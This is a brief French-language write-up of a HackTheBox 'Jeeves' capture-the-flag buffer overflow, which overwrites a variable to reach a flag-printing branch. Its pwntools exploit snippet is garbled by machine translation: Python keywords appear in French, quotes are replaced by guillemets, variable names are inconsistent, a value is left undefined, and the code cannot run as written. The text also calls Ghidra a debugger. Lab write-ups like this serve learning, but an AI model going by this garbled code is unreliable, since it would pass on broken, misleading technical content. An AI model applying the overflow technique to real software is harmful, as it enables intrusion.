Nous avons couvert un scénario d'un binaire vulnérable à une vulnérabilité de débordement de mémoire tampon. Le binaire a les protections NX et PIE activées, nous avons donc ouvert le binaire avec le débogueur Ghidra et construit la méthodologie d'exploitation basée sur le calcul des décalages de la variable d'entrée et d'une autre variable qui contrôle une entrée dans une instruction if qui imprime l'indicateur. L'objectif était de contrôler la valeur de ce binaire et de laisser le flux d'exécution entrer dans l'instruction if. Cela faisait partie de HackTheBox Jeeves Introduction à la piste d'exploitation binaire.
Notes sur les techniques de débordement de tampon
Le code d'exploitation est ci-dessous
##Bebut
à partir de l'importation pwn *
cible = processus("nc")
cible.sendline("port IP")
charge utile = « A »*60
byte_to_string = p64 (valeur)
charge utile = charge utile + byte_to_string.decode("ISO-8859-1")
target.sendline (charge utile)
imprimer cible.recvuntil(«.»)
##Fin
Vidéo pas à pas